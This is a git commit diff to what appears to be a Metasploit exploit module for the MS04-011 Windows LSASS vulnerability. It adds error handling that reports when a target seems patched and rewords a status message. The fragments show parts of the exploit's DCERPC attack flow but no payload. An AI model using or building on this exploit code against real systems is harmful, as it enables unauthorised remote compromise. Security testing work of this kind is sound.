Better error handling for patched systems
git-svn-id: file:///home/svn/framework3/trunk@3708 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
3027e76384
commit
0633be5a93
|
@ -79,7 +79,7 @@ class Exploits::Windows::Smb::MS04_011_LSASS < Msf::Exploit::Remote
|
|||
dcerpc_bind(handle)
|
||||
print_status("Bound to #{handle}...")
|
||||
|
||||
print_status('Getting OS...')
|
||||
print_status('Getting OS information...')
|
||||
# Check the remote OS name and version
|
||||
os = smb_peer_lm
|
||||
string = ''
|
||||
|
@ -132,6 +132,13 @@ class Exploits::Windows::Smb::MS04_011_LSASS < Msf::Exploit::Remote
|
|||
response = dcerpc_call(9, stub)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||
print_status('Server did not respond, but that should be ok...')
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault
|
||||
case $!.fault
|
||||
when 0x1c010002
|
||||
print_status('Server appears to have been patched')
|
||||
else
|
||||
print_status("Unexpected DCERPC fault 0x%.8x" % $!.fault)
|
||||
end
|
||||
end
|
||||
|
||||
# Perform any required client-side payload handling
|
||||
|
|
Loading…
Reference in New Issue